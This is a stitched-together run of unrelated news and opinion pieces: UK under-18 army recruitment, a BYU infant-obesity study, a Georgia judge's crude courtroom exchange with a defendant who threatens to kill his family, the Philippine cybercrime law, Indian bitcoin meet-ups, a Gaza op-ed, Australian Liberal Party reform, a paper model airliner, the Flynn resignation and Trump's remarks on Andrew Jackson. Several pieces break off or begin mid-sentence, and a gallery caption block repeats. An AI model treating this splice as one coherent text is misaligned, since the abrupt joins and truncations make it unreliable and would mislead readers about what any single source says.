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NBC and MSNBC are controlled by Comcast Corp.; CBS is a division of CBS Corp.; ABC is owned by The Walt Disney Co.; CNN is a unit of Time Warner Inc.; Fox is owned by News Corp.Two contrasting videos about life in the British Army are doing the rounds, both released this month. In the first, an Army recruitment advertisement, soldiers are trudging through miserable arctic conditions when one of them starts singing the Dirty Dancing song “(I’ve Had) the Time of My Life”. Cue much ribbing and laughter from his comrades, instantly lightening the mood of their dreary slog through the snow.
In the second video, released by campaign group Child Soldiers International (CSI), 27-year-old veteran Wayne Sharrocks talks about his experiences training and serving with the Army in Afghanistan, where he was wounded following an IED explosion. Against another backdrop of soldiers marching through snow, Sharrocks describes how members of his platoon were encouraged to beat up a comrade believed to be underperforming in a training exercise. “I think he tried to kill himself in the toilets at some point,” Sharrocks says to camera.
Sharrocks joined the Army in 2006, aged 17. He left in 2013 and has since suffered mental health problems. The UK is the only country in Europe – and one of only a handful in the world – that recruits under-18s into its Armed Forces. Groups campaigning against the practice argue that the youngest recruits are most susceptible to developing mental health problems such as PTSD – and dying in action.
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Sharrocks was enlisted while still at school. Such recruitment exacerbates the problem, say campaigners. “The Armed Forces has more of a foothold in schools,” says Emma Sangster of Forces Watch, a group which opposes “militarist values in civilian society”. In 2012, the Government launched a raft of schemes designed to promote a “military ethos” in schools. These included a programme to expand Combined Cadet Force activity in schools and opened up the possibility of military organisations sponsoring academies and free schools. It also enabled the provision of alternative education by external military-based groups, and the fast-tracking of ex-military personnel into teaching roles in the Troops to Teachers scheme.
These measures, along with continued Armed Forces visits to classrooms – around 11,000 a year – constitute, according to campaigners, a worrying militarisation of our schools and an indirect means of recruiting under-18s. “What we know from MoD documents is that recruitment is an aim of the Armed Forces going into schools,” says Sangster. “Schools provide a kind of captive audience of young people of recruitment age.”
The military is not allowed to enlist anyone directly in schools and under-18 recruits need written parental consent before they can join. But the presence of military representatives in schools acts as a kind of indirect recruitment drive according to Ben Griffin, a veteran of the Iraq war and co-ordinator of campaign group, Veterans for Peace UK. “Out of a thousand kids they only need to recruit one or two,” says Griffin, “but they also want to recruit the whole school to the ideas of the military”.
Griffin adds that if the Armed Forces have got “one or two days in a school, they’re going to make the military seem very fun... a sort of public service for the greater good of humanity.”
Shape Created with Sketch. Army Photographic Competition 2016 Show all 13 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Army Photographic Competition 2016 1/13 Corporal Sean Neill, from Kilmarnock, kissing his daughter Madison in the streets of Glasgow after the 400 strong Homecoming Parade. The photo, by Mark Owens, has been named Winner of Best Online Image (voted by the public) in the Army Photographic Competition 2016 Mark Owens/Army HQ Scotland/PA Wire 2/13 This photograph shows Officer Cadets from Royal Military Academy Sandhurst (RMAS) on Exercise Dynamic Victory, Grafenwoehr & Hohenfels Training area, Bavaria Bombardier Murray Kerr RA/PA Wire 3/13 Great Men, by Bombardier Murray Kerr RA Bombardier Murray Kerr RA/PA Wire 4/13 The photograph shows the changing room buzzing 30 minutes before forming up Sergeant Rupert Frere RLC/PA Wire 5/13 Prepping for the Worst, by Cpl Timothy Jones Cpl Timothy Jones/PA Wire 6/13 Y Company, 1st Battalion The Royal Regiment of Fusiliers, conducting jungle warfare training in Brunei, learning to live, survive and fight in the unique training environment Cpl Timothy Jones/PA Wire 7/13 Right Hook, by Bombardier Murray Kerr RA Bdr Murray Kenneth Kerr, Royal Artillery/PA Wire 8/13 9/13 The Climb, by Capt Ben Norfield, RGR Capt Ben Norfield, RGR/PA Wire 10/13 This photograph shows the TIGERS Freefall Parachute Display Team from the 1st Battalion The Princess of Wales's Royal Regiment (1 PWRR) send a Birthday message to the Queen from 8,000 feet above Paderborn in Germany Dominic King AMC/PA Wire 11/13 Nightlife in Otterburn, by Cpl Timothy Jones Cpl Timothy Jones/PA Wire 12/13 The photograph shows Garrison Sergeant Major Andrew Stokes of the Coldstream Guards making inspections of the soldiers drill Sergeant Rupert Frere RLC/PA Wire 13/13 Y Company, 1st Battalion The Royal Regiment of Fusiliers, conducting jungle warfare training in Brunei, learning to live, survive and fight in the unique training environment Cpl Timothy Jones/PA Wire 1/13 Corporal Sean Neill, from Kilmarnock, kissing his daughter Madison in the streets of Glasgow after the 400 strong Homecoming Parade. The photo, by Mark Owens, has been named Winner of Best Online Image (voted by the public) in the Army Photographic Competition 2016 Mark Owens/Army HQ Scotland/PA Wire 2/13 This photograph shows Officer Cadets from Royal Military Academy Sandhurst (RMAS) on Exercise Dynamic Victory, Grafenwoehr & Hohenfels Training area, Bavaria Bombardier Murray Kerr RA/PA Wire 3/13 Great Men, by Bombardier Murray Kerr RA Bombardier Murray Kerr RA/PA Wire 4/13 The photograph shows the changing room buzzing 30 minutes before forming up Sergeant Rupert Frere RLC/PA Wire 5/13 Prepping for the Worst, by Cpl Timothy Jones Cpl Timothy Jones/PA Wire 6/13 Y Company, 1st Battalion The Royal Regiment of Fusiliers, conducting jungle warfare training in Brunei, learning to live, survive and fight in the unique training environment Cpl Timothy Jones/PA Wire 7/13 Right Hook, by Bombardier Murray Kerr RA Bdr Murray Kenneth Kerr, Royal Artillery/PA Wire 8/13 9/13 The Climb, by Capt Ben Norfield, RGR Capt Ben Norfield, RGR/PA Wire 10/13 This photograph shows the TIGERS Freefall Parachute Display Team from the 1st Battalion The Princess of Wales's Royal Regiment (1 PWRR) send a Birthday message to the Queen from 8,000 feet above Paderborn in Germany Dominic King AMC/PA Wire 11/13 Nightlife in Otterburn, by Cpl Timothy Jones Cpl Timothy Jones/PA Wire 12/13 The photograph shows Garrison Sergeant Major Andrew Stokes of the Coldstream Guards making inspections of the soldiers drill Sergeant Rupert Frere RLC/PA Wire 13/13 Y Company, 1st Battalion The Royal Regiment of Fusiliers, conducting jungle warfare training in Brunei, learning to live, survive and fight in the unique training environment Cpl Timothy Jones/PA Wire
The Combined Cadet Force is currently embedded in more than 350 secondary schools across the UK, with a target of 500 by 2020. Its presence is designed to instill qualities such as “self-discipline, loyalty and respect, strong leadership, teamwork and resilience”. But critics such as Sangster worry how the CCF will negatively impact the teaching of important of attributes like free thinking or criticism of authority. “If you’ve got that in the school, are you going to be able to talk about non-military alternatives to conflict resolution, or promoting critical awareness around all the effects of warfare?” she says.
Under-18s have historically been an important source of Army recruitment, which has suffered from a continuing shortfall in recent years. The latest MoD figures show that it is currently delivering 10 to 15 per cent fewer recruits than is needed. Last year, the intake of under-18s rose to a quarter of all Army recruits, according to a report by CSI. And recruitment of 16-year-olds rose to 13 per cent of the total intake, making them the single largest age group entering the army. “It’s very disturbing from our perspective,” says Rachel Taylor, programme manager at CSI. “The army are taking more 16-year-olds than 17-year-olds so they’re recruiting more – and younger.”
Taylor points out that a large proportion of under-18s are funnelled into frontline roles in the infantry, with the youngest recruits forced into combat roles due to lack of qualifications.
From 2015 to 2016, the Army enlisted 8,020 soldiers of whom 1,790 were aged under 18, according to CSI. Even though the latter will not see battle until they come of age, the organisation’s study of Afghanistan suggests they will remain twice as likely to be killed once they do.
The MoD denies that under-18s are being targeted in schools to make up for recruitment shortfalls. Colonel Johnny Blair-Tidewell, assistant head of manning for the Army, insists that conceptions about the recruitment of under-18s are often misrepresented. He points out that although the infantry takes the single largest proportion of under-18 recruits, the majority go into other units like the Royal Logistics Corps and the Royal Electrical and Mechanical Engineers. He also stresses that such criticisms assume an outdated view of the infantry. “It’s a bit too simplistic,” says Blair-Tidewell. “The idea that the infantry are somehow just cannon fodder is a 1914-ism. It’s not like that. Within the infantry you’ve got specialisms. So someone could go into the infantry and specialise as a signaller, or specialise as mortar fire controller. They could be a driver. They could be a radio operator. They could do all sorts of things. It just doesn’t stand scrutiny.”
The Army has repeatedly refused to raise the age of enlistment to 18 despite calls from numerous campaign groups and critics, including the UN Committee on the Rights of the Child. The presence of the military in schools is also set to continue. One of the reasons is that the Army actually sees the recruitment of minors as a good thing. “There’s an assumption that recruitment of 16- to 18-year-olds is somehow inherently bad,” says Blair-Tidewell. “Our response is that recruitment of 16- to 18-year-olds is beneficial to the individuals that do it and is also beneficial for society as a whole.”
To agree with this or the continued presence of the military in schools depends on how people regard terms such as “military ethos” or “character”. The Government promoted its military ethos programme as by highlighting the value of characteristics such as resilience, grit, self-discipline and teamwork. But critics see a negative side to the military mentality. Veterans for Peace’s Ben Griffin claims the military ethos comprises a trio of rather more sinister characteristics. “Actually the fundamental ethos of the military is to obey orders without question,” he says. “Some of the other things that are fundamental to military training are removing the barrier to kill – a human’s natural aversion to killing another human is removed so that it becomes easy. Also loyalty to the gang is promoted, so your loyalty to your family, to your country, to your community is erased. Your only loyalty is to the unit you serve with.” Griffin, an ex-member of the Parachute Regiment, recounts how he was encouraged to hate all the other branches and units of the military and to hate civilians most of all.
In the CSI video, Wayne Sharrocks speaks of how by the end of his training, he could have killed another person in front of him “at the flick of a switch” with “an insane amount of aggression”. He feels that apart from the things he saw and did in Afghanistan, infantry training alone changed his mind indelibly. “Before you join the Army, you should have to sign another document saying you’re about to be subjected to six months mental conditioning that could effectively change your mentality for life,” he tells the camera. Sharrocks, who underwent his training at 17, now believes under-18s shouldn’t be recruited because only adults should be allowed to make that kind of life-changing decision.
It is the same reason Veterans for Peace UK wants all military activities in schools banned. “We think that just as you can’t advertise smoking and alcohol to children,” says Griffin, “you shouldn’t be able to advertise a job where there’s a good chance you could be killed or maimed or disabled for the rest of your life.”
We’re back to the two videos: one advertising young men in the snow having the time of their lives, the other exposing a life that was almost lost. The message people identify with most will depend largely on their experience of the Armed Forces.
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Subscribe nowIn the long run, encouraging a baby to finish the last ounce in their bottle might be doing more harm than good.
Though the calories soon burn off, a bad habit remains.
Brigham Young University sociology professors Ben Gibbs and Renata Forste found that clinical obesity at 24 months of age strongly traces back to infant feeding.
“If you are overweight at age two, it puts you on a trajectory where you are likely to be overweight into middle childhood and adolescence and as an adult,” said Forste. “That’s a big concern.”
The BYU researchers analyzed data from more than 8,000 families and found that babies predominantly fed formula were 2.5 times more likely to become obese toddlers than babies who were breastfed for the first six months.
But, the study authors argue, this pattern is not just about breastfeeding.
“There seems to be this cluster of infant feeding patterns that promote childhood obesity,” said Gibbs, lead author of the study that appears in Pediatric Obesity.
Putting babies to bed with a bottle increased the risk of childhood obesity by 36 percent. And introducing solid foods too soon – before four months of age – increased a child’s risk of obesity by 40 percent.
“Developing this pattern of needing to eat before you go to sleep, those kinds of things discourage children from monitoring their own eating patterns so they can self-regulate,” Forste said.
Forste said that the nature of breastfeeding lends itself to helping babies recognize when they feel full and should stop. But that same kind of skill can be developed by formula-fed infants.
“You can still do things even if you are bottle feeding to help your child learn to regulate their eating practices and develop healthy patterns,” Forste said. “When a child is full and pushes away, stop! Don’t encourage them to finish the whole bottle.”
Breastfeeding rates are lowest in poor and less educated families. Sally Findley, a public health professor at Columbia University, says the new BYU study shows that infant feeding practices are the primary reason that childhood obesity hits hardest below the poverty line.
“Bottle feeding somehow changes the feeding dynamic, and those who bottle feed, alone or mixed with some breastfeeding, are more likely to add cereal or sweeteners to their infant’s bottle at an early age, even before feeding cereal with a spoon,” said Findley.
The next project for Gibbs and Forste is to reevaluate the link between breastfeeding and cognitive development in childhood. Forste has previously published research about why women stop breastfeeding. You can listen to her discuss that topic with The New York Times in this podcast.
“The health community is looking to the origins of the obesity epidemic, and more and more, scholars are looking toward early childhood,” Gibbs said. “I don’t think this is some nascent, unimportant time period. It’s very critical.”A Superior Court judge in Rome last week told a defendant during a hearing that he “looked like a queer” and challenged him to masturbate in front of him in the courtroom after the defendant threatened to kill members of the judge’s family.
The incident occurred June 17 as defendant Denver Fenton Allen, who is accused of beating fellow inmate Stephen Rudolph Nalley to death last August, was trying to get a different public defender. Things turned ugly quick between Allen and Judge Bryant Durham Jr.
The AJC retrieved a transcript of the hearing. Here are the lowlights:
During the hearing, Allen told Durham he would murder his whole family. “I’ll cut your children up into pieces,” Allen said. “I’ll knock their brains out with a (expletive) hammer and feed them to you. … The babies will be going, ‘Daddy, daddy, help me.’”
When Durham told Allen he didn’t have any children, Allen said, “Then I’ll get your nieces, your nephews, your sisters.”
Durham said he had none of those either and told Allen he’d “be in jail so long you won’t have a chance.”
At the outset of the hearing, when Durham told Allen he couldn’t have a lawyer of his choosing, Allen said he’d then represent himself. But Durham told the defendant “that would be the biggest mistake you’ve ever made in your life.”
Within minutes, Allen told Durham he would “hold myself in contempt.”
“Listen to me,” Durham interjected.
“(Expletive) you,” Allen told the judge and then continued saying the same thing.
After Durham found Allen in contempt, Allen responded, “I don’t care.”
Durham then sentenced Allen to 20 days for contempt and said if he said anything else, he’d add another 20 days for everything else he said.
“(Expletive) you,” Allen said.
“Forty days,” Durham ordered.
“(Expletive) you again,” Allen said.
“Sixty,” said Durham.
“Go (expletive) yourself,” Allen said.
“A year,” Durham said.
“Your mama,” Allen said.
“Ten years,” Durham ordered.
“(expletive) my (expletive),” Allen replied.
“You know something, this is going to be an interesting trial,” the judge said.
The back-and-forth between the two men continued to escalate after that, particularly after Allen began talking about parts of his anatomy and how he liked to have sex with “boys.”
“Oh, of course,” Durham told the defendant. “You know, you look like a queer.”
“Well, okay,” Allen said. “So now you’re calling me a queer in the courtroom.”
“I didn’t call you one,” Durham said. “I said you looked like one.”
Allen then asked Durham if he could get a court order to have sodomy performed on him.
“You’re so cute,” Durham said. “I know all the inmates love you to death. … I’ll bet everybody enjoys (expletive)ing your (expletive).”
“You ain’t supposed to be smiling in court,” Allen said.
“I can smile anytime I dadgum want to,” the judge replied.
Later, when Allen said he would masturbate in open court, Durham asked, “Why don’t you do that right now? … Do it now. … Do it now.”
As Durham wrapped up the hearing, he called Allen “stupid” and said he had “no idea of the English language.”
Finally, Durham said, it was time to adjourn.
“I’ve enjoyed this,” he said. “I hope you have. I know everybody else in the courtroom has enjoyed it, but you can go now.”The dark days of SOPA and PIPA are behind the US, at least temporarily as copyright tycoons reground and restrategize, attempting to come up with measures that don't cause the entire internet to shut down in protest.
But one country has already moved ahead with similar legislation. The government of the Philippines has passed the Cybercrime Prevention Act, which on the surface, as usual, sounds perfectly well-intentioned. But when you read the actual contents of what's been deemed "cybercrime," SOPA's proposed censorship sounds downright lax by comparison.
Yes, there's the usual hacking, cracking, identity theft and spamming, which most of us can agree should be illegal. But there's also cybersex, pornography, file-sharing (SOPA's main target) and the most controversial provision, online libel.
Now, as someone who has been the target of many a vicious attack from commenters or forum posters, I can understand frustration with the nature of online anonymous criticism. But to actually try to make such a thing illegal? You wade into dangerous waters that anything resembling freedom of speech will likely drown in. And that's overlooking the free speech implications trampled by banning pornography and file-sharing as well, two provisions getting less attention due to the severity of the libel section.
Via CBS, a senator who opposed the bill explains its potential ramifications:
"If you click 'like,' you can be sued, and if you share, you can also be sued," said Sen. Teofisto Guingona III, one of the lawmakers who voted against the passage of the law. "Even Mark Zuckerberg can be charged with cyber-libel," the senator said. The provision, according to Guingona, is so broad and vague that it's not even clear who should be liable for a given statement online. And if you're found guilty, get ready to spend up to 12 years in prison.
Guingona poses the question, who exactly is libel for the libel? Is it the person who made the statements? Anyone who reblogged or retweeted them? The website on which the comments were made? Anyone who commented in assent or even clicked 'like'? The way the law is worded, the Filipino police could actually charge you with simply criticizing them or the government in a way they deem "malicious," a word very much open to interpretation.
One of the two Senators who inserted the libel provision, Vincente Sotto III, stands by it.
"Yes, I did it. I inserted the provision on libel. Because I believe in it and I don't think there's any additional harm."
Again, much like SOPA, these are lawmakers who don't understand the true implications of the law on the technology they're attempting to regulate. Or maybe they do, in this case. Sotto recently came under fire online for plagiarizing speeches from an American blogger and Robert F. Kennedy which he used to rail against a controversial reproductive health bill.
On social media sites like Reddit, young Filipinos are lamenting the seemingly backwards nature of their government's recent policies, decrying that they were able to pass a law like this one heavily censoring the internet, but not the aforementioned legislation to teach sex education and give out birth control in schools.
Opponents of SOPA and PIPA should stand up to web tyranny everywhere, and when a supposedly free country institutes censorship practices like that of China and Iran, something is very wrong with that picture. Despite huge protests against the law, the government, as of yet, shows no sign of backing down.
Once again we see a mix of ignorance to technology and the desire to exert further control over a population. Neither is pretty, and neither has any place in a good government.
UPDATE: The law has been suspended, read here.
Follow the author on Twitter here.
You may also like You Will Never Kill Piracy, and Piracy will Never Kill You.Journalist MV Nikesh Kumar has lost from the Azhikode seat which he contested as an independent candidate backed by the Left Democratic Front.
Nikesh Kumar contested the very seat his father and CMP leader MV Raghavan had won when the CPI(M) party had expelled him in 1986. He lost the seat by a margin of around 2,000 votes to Shaji of the UDF.
When Nikesh announced his candidature, questions were raised about the propriety of a journalist stepping into the electoral politics and also his work as a journalist during his long career a reporter with Asianet which included founding India Vision, the first 24-hour Malayalam news channel.
In an interview to The News Minute |
, and he has a plan to keep all of them entertained.
Before his presentation, Koenig said:
“I will use some of the films we have produced because many of our customers happen to be bitcoin startups. So I’ll show some films: one’s about mining, one is about coloured coins. I’ll mix the talk so that for the beginners of bitcoin its interesting and also for those who about it on a basic level.”
The other meet-up group in India’s Silicon Valley is organised by Vikram Nikkam and Sathvik Vishwanath. The duo also run Unocoin, India’s bitcoin exchange.
India’s individual struggle
Nikkam discusses various problems with initially introducing bitcoin to India, an important one being the fact that India was relatively unaffected by the 2008 financial crisis:
“India did not see the recession. So Indians really don’t understand what happens in terms of monetary systems and how our money is being controlled. In Western countries like the US and the UK, people have seen the recession. Europe has seen the recession big time. So they embrace bitcoin in a different way. They understand that bitcoin is a revolutionary currency.”
Nikkam also spearheaded the first Global Bitcoin Conference held in Bangalore on December 14-15th, 2013. He invited financial bodies, businesses and even the Reserve Bank of India to this meeting.
The organisers felt a need to continue the momentum of the conference. That was one of the reasons why they started the Bitcoin Alliance of India. Natasha Ambrose, a founding member, explains more:
“We wanted to help India as a whole understand the technology [of bitcoin]. We wanted to help the RBI, government officials, politicians understand it because we figured out that if India kind of missed the bandwagon at the moment, it was going to miss it forever. So we wanted to form a body, which is the Bitcoin Alliance of India, to help regulators and financial authorities understand bitcoin and help business around the country set up shop.”
There are two chapters of the Bitcoin Alliance of India at the moment, with the Mumbai group being led by Gupta.
“In India, there is a lot of public energy underground but in India, people are a bit more cautious with their money,” said Gupta. “Also here in India we have a tendency to look to the other guy before we make an investment. So, I think what is really happening is that people really want to do it, but they are looking at each other.”
While it will take some time for most Indians to open up to bitcoin, meet-ups and social events in major cities are helping keep the bitcoin buzz alive for now.
Mumbai, India via ShutterstockBy Rana Alshami and Rich Forer
Twenty-one year old Rana Alshami lives in Khan Younis in the southern part of the Gaza Strip. The two of us were talking around 3 pm Gaza time on July 9, bombs were dropping all around her and the building she lives in with her parents and siblings was shaking.
Photo:Vivelohoy
Two days ago, Israel launched “Operation Protective Edge" against the people of Gaza. Targeting civilian homes, mosques and cars, thirty-two people have been killed and 190 injured. Israeli air-strikes on Gaza have reached four-hundred. Three mosques and at least fifty-five homes have been destroyed.
Four weeks ago, three Jewish teenagers from illegal settlements in Occupied Palestinian Territory were kidnapped and murdered. Without any evidence, Israel accused Hamas of this crime. In retaliation, Israeli forces raided more than a thousand homes, arrested more than 500 people and killed eleven Palestinians, including a child. Obviously for political purposes, Israeli Prime Minister Netanyahu called the murders of the teenagers the work of “beasts” before launching this beastly attack upon my people.
Netanyahu had been looking for an excuse to prevent reconciliation between Hamas and Fatah, to once again paint my people as the obstacle to peace in the Middle East and to distract the world from Israel’s settlement building on stolen Palestinian land, which is the real obstacle to peace.
Jewish “security forces” can kidnap innocent civilians, imprison them for the crime of being Palestinian, maim and murder, torture and kill children, destroy our homes and deny us our human rights yet in their minds their actions are always defensive and blessed by God. In their minds they are victims of the fact that an indigenous people who have cultivated and lived and died on the land for millennia happen to exist.
Are Israeli F-16s and precision guided missiles necessary to stop the stone throwing of our children? Making peace and ending the occupation of our land will stop the stone throwing. My people have no air force, navy, heavy weapons, or artillery units. We have no army at all but Israel calls their attack a war. This is not war, it is murder. And their actions are neither defensive nor blessed by God. They are founded upon hatred. They hate us because we live on land they want for themselves. They refuse to share our land as equals because we are not Jewish and only Jews have rights to our land.
Yes, Hamas has launched highly imprecise bombs against Israeli cities but let us be clear: over the years Israel has launched many times more bombs against Gaza than Hamas has launched against Israel. In their report, “Summary of Rocket Fire and Mortar Shelling in 2008,” the Intelligence and Terrorism Information Center at the Israel Intelligence Heritage and Commemoration Center (IICC), highlighted that during the nine years between 2000 and 2008 Palestinian groups fired a total of 8,088 mortar and rocket shells into Southern Israel. In only nine months, between the disengagement of Jewish settlers from Gaza in September 2005 and Gilad Shalit’s capture in June 2006, Israel fired 7,700 far more powerful shells into Gaza.
Furthermore, Israel has regularly broken truces with my people. On November 4, 2008, Israel unilaterally killed seven Palestinians, ending its truce with Hamas that began in June of 2008 and setting the stage for its genocidal invasion of my land, which it called Operation Cast Lead. A statistical analysis from Harvard, MIT and Tel Aviv University found that “79% of all conflict pauses were interrupted when Israel killed a Palestinian, while only 8% were interrupted by Palestinian attacks (the remaining 13% were interrupted by both sides on the same day)” and that “of the 25 periods of nonviolence lasting longer than a week, Israel unilaterally interrupted 24, and it unilaterally interrupted 100% of the 14 periods of nonviolence lasting longer than 9 days…. Thus, a systematic pattern does exist: it is overwhelmingly Israel, not Palestine that kills first following a lull. Indeed, it is virtually always Israel that kills first after a lull lasting more than a week.”
My heart is bleeding, my eyes dripping with tears. The United States must stop funding Israel, it must stop supporting its violations of our right to live in peace and it must stop providing Israel with the armaments to make our lives a daily living Hell.Tony Abbott's proposed NSW Liberals preselection reform rejected in favour of Malcolm Turnbull's plan
Updated
Former prime minister Tony Abbott's push to change the New South Wales Liberal Party's preselection processes has been defeated.
Key points: Malcolm Turnbull's joint motion with Mike Baird was broader than Tony Abbott's plan
Mr Abbott's competing proposal was then rejected 246 to 174
Liberal source said Mr Abbott's authority had been "significantly diminished"
The state council meeting instead voted unanimously to support an alternative motion backed by Prime Minister Malcolm Turnbull and NSW Premier Mike Baird.
Mr Abbott has claimed credit for the outcome on Saturday, saying he had campaigned for change for a long time.
"We only have reform because of the pressure that the Warringah conference and a lot of other good people in the party brought to bear," he said.
"I don't think for a second the powers that be within the NSW division wanted to reform. They were very happy with the status quo.
"But thanks to a long, long period of pushing in favour of democracy I think now reform is absolutely unstoppable."
Mr Turnbull and his predecessor put forward similar reform agendas at the meeting on Saturday in a bid to give party members greater voting rights in preselections.
It came after a tense week between the two men, where they were at odds in Parliament over whether Mr Abbott was aware of a deal done last year with crossbench senator David Leyonhjelm on gun laws.
Mr Turnbull's joint reform motion with the New South Wales Premier Mike Baird was broader in scope than Mr Abbott's motion, which focused on giving each party member a vote in choosing candidates.
The Turnbull-Baird motion was carried unanimously at the meeting this morning.
Mr Abbott's competing proposal was then rejected 246 to 174.
Mr Turnbull said the changes he backed would increase transparency and improve access to MPs and senators at party meetings.
"I am determined as you are to modernise the Liberal Party," Mr Turnbull told the meeting.
"Once people join our party it has to be worth their while, otherwise they will very quickly find something else to do with their time."
He said it was part of a broader aim to rebuild the party's membership to the size it was 40 years ago.
Move will be finalised at Party Futures Conference next year
A Liberal source said Mr Abbott's authority had been "significantly diminished" by the move.
Mr Abbott had insisted his motion was purely focused on diluting the power of factional warlords in NSW.
But he had previously told Fairfax Media it would be a "very bad look" for the party to vote against his proposal.
Mr Turnbull's broader motion also proposed extra resources and participation for members and more training for office bearers and candidates.
It is set to be finalised and fleshed out at a Party Futures Conference next year.
But Mr Abbott's supporters had earlier warned the Turnbull-Baird plan could lead to inaction and delay.
"The Warringah plan is the best plan we have to actually drive changes in the party," one of Mr Abbott's backers said this week.
"The powerbrokers have their tentacles through it right now, and if we want to get rid of them then we need one member, one vote, and we need it now."
Topics: political-parties, liberals, government-and-politics, nsw, sydney-2000
First postedspent 5 years of his life creating an almost-perfect 1:60 scale replica of an Air India 777-300ER airplane. One of the most shocking parts of this story? He used only manila folder. He literally made the best paper airplane in the world. 3rd graders everywhere should be feeling pretty ashamed of themselves (I know I do).
He began the project by tracing a can of cocoa on some paper. Simple enough, right?
Then, he began gluing the cross section of the plane together.
The skeleton was ready.
Then he needed to add the “skin” of the fuselage.
(There was a lot of “glue drying” time during this project, we have a feeling.)
Perfect.
This project has been five years in the making.
He was inspired by models he saw in architecture class that were created out of manila folders.
He measured, cut and glued tiny pieces of paper together… over and over and over.
He made every piece of the jet to scale (1:60).
Each seat would take him approximately 20 minutes to craft.
And those were just economy seats.
… there were lots of them.
The doors, engine, windows and seats were all perfect models of their bigger counterparts.
The doors and hatches worked like a charm.
Even if they required tweezers.
This attention to detail is unique. And mind-blowing.
Luca became so obsessed with this time-consuming project, he dropped out of his college classes to complete it. The engine, doorways, seats, landing gear, galley and sections of the plane were so meticulously created to scale, they all work. (The landing gear is even retractable.)
It’s hard to imagine spending this much time dedicated to anything, let alone building something so perfect. To see a video about this incredible process, visit.
Source: via
Share Luca’s years of hard work by clicking the share button below. People need to see the world’s best paper airplane.
Comments
commentsThe resignation of President Trump's pro-Russia National Security Adviser has sent a shudder through Russia's political class who are commenting that the move will damage already fragile US-Russia relations further.
"This is kind of a negative signal for the establishment of the Russian-American dialogue," said Leonid Slutsky, chairman of the lower committee on international affairs in Russia's parliament. Trump's adviser, retired general Michael Flynn resigned late on Monday just three weeks into the new administration.
"It's obvious that Flynn was forced to write the letter of resignation under a certain amount of pressure," Slutsky told Russian state newswire TASS.
Slutsky called the forced resignation "provocative" and that Flynn had been targeted to harm "Russia-US relations, undermining confidence in the new US administration," he said.
Pressure on Flynn grew after a series of leaks from at least nine current and former senior officials in US intelligence and law enforcement. They revealed that, while President Barack Obama was imposing sanctions on Russia before leaving office in late December, Flynn held calls with Russia's US ambassador and suggested sanctions could be lifted under the new administration.
Flynn then reportedly caused rifts in the Trump administration after senior officials — including Vice President Mike Pence — defended him publicly, only to discover he had misled them. The Kremlin told the AFP that Flynn's resignation is "not our business." But Russian lawmakers reacted fiercely.
The office of Russian President Vladimir Putin has denied that Flynn and Russian Ambassador Sergey Kislyak discussed the sanctions in any of a series of phone calls held during the transition period to the Trump administration.
The fact that Flynn would be forced to resign "for contacts with the Russian Ambassador (normal diplomatic practice) – it's not even paranoid, but something infinitely worse," wrote Konstantin Kosachev, chairman of the foreign affairs committee in the upper chamber of the Russian parliament on Facebook.
"Either Trump hasn't gained the required independence and he's been driven into a corner," he wrote, "or Russophobia has struck the new administration from top to bottom."I see this morning President Trump isn’t sure why the Civil War happened. In line with your standard Trumpian militant ignorance, he assumes that since he isn’t sure what happened that “people” aren’t sure either. In fact, they haven’t even asked the question. “People don’t ask that question, but why was there the Civil War? Why could that one not have been worked out?” As I’ve noted, President Trump is not only wildly ignorant. But, utterly unaware of the scope of his ignorance, he assumes everyone else is as ignorant as he is and frequently preens with new learnings that either everyone knew or in other cases are just completely wrong.
But I want to zero in on Trump’s comments about Andrew Jackson and the Civil War. Under Steve Bannon’s tutelage, Trump has embraced Jackson as the “nationalist” progenitor of his presidency. But here he shows he doesn’t know the first thing about Jackson. And the ignorance is of more than historians’ concern.
Here’s what Trump said in an interview with Salena Zito.
“I mean had Andrew Jackson been a little bit later you wouldn’t have had the Civil War. He was a very tough person, but he had a big heart. He was really angry that he saw what was happening with regard to the Civil War, he said, ‘There’s no reason for this.'”
Pundits are noting that Jackson left the White House in 1837 and died in 1845, 24 and 16 years before the outbreak of the Civil War. But the Civil War actually wasn’t so far from Jackson’s own time, indeed during the years of his own presidency. The final months of Jackson’s first term as president saw what historians refer to as the Nullification Crisis. In critical ways, it was a dry run for the Civil War. The notional trigger of the crisis was a tariff law which was generally opposed in the Southern states. But the real issue was the authority of the national government, whether states or groups of states could block federal laws or even secede from the union, and ultimately the security of slavery.
The originator of these doctrines and driver of the crisis was one of the great political stars of the early 19th century, John C. Calhoun of South Carolina. At first an ardent nationalist, Calhoun had drifted in an increasingly sectional direction and had developed a series of theories which held that states could ‘nullify’ federal laws and in fact secede from the Union. South Carolina’s decision to nullify the tariff law triggered the crisis. But that crisis reverberated throughout the country and provoked divisions in all the Southern states which anticipated on critical fronts the debates over the Civil War.
Trump imagines that Jackson, despite being a “very tough person” would have worked things out because he was “really angry that he saw what was happening with regard to the Civil War, he said, ‘There’s no reason for this.'”
Well, not exactly.
Jackson tended to personalize political conflict. But the Nullification Crisis cut to the core of one of his central beliefs: the inviolability of the federal union. Today we hear ‘nationalism’ used as a byword for xenophobia, racism and militarism. Jackson had his mix of each. But Jackson thought the crisis, what Calhoun was doing could not have been more important. He actually wanted to march an army down to South Carolina and hang Calhoun. To the extent Jackson knew about the Civil War and was “really angry” about it, he was really angry at the Southern planter aristocrats who would later start the Civil War. He was ready to go to war in 1832-33 to vindicate the union and popular democracy – two concepts that to him were basically inseparable. In other words, if we take Trump’s comments on their own terms he’s completely wrong. Jackson thought the issue couldn’t be more important and he was ready to go to war and crush the nullifiers.
We should note here that for Jackson, one of the key elements of ‘nationalism’ was his belief that popular democracy spoke most clearly when the nation spoke as a nation, not as separate polities in individual states.
The crisis was eventually resolved when South Carolina backed down and this resolution was helped along with a de facto compromise tied to tariff reduction. But the crisis spurred lengthy and fractious debates in Southern legislatures which mirrored the key questions that were to roil the country for the next quarter century. Slavery and its security in a country where the population of the non-slave holding states was growing more rapidly than the Southern ones was always a looming issue, even though support or opposition to slavery as such only came up at the margins of the debate.
What also came out of those debates was the growing salience of key aspects of Calhoun’s thought for many Southern political elites. Specifically how political minorities, in reality elite political or sectional minorities, could protect themselves and their property in an increasingly democratic polity. I don’t want to get too deep into it but Calhoun was developing a theory of what called ‘concurrent majorities’ in which different groups in society would need to sign off, as it were, on major government actions. So for instance, sure there’s democracy. But we Southerners or we planters don’t just get thrown into the national vote count. We’re a distinct group and on big decisions, we need to sign off as a group. Or we’ll leave. For Calhoun, the key groups were Southern whites and more specifically slaveholders.
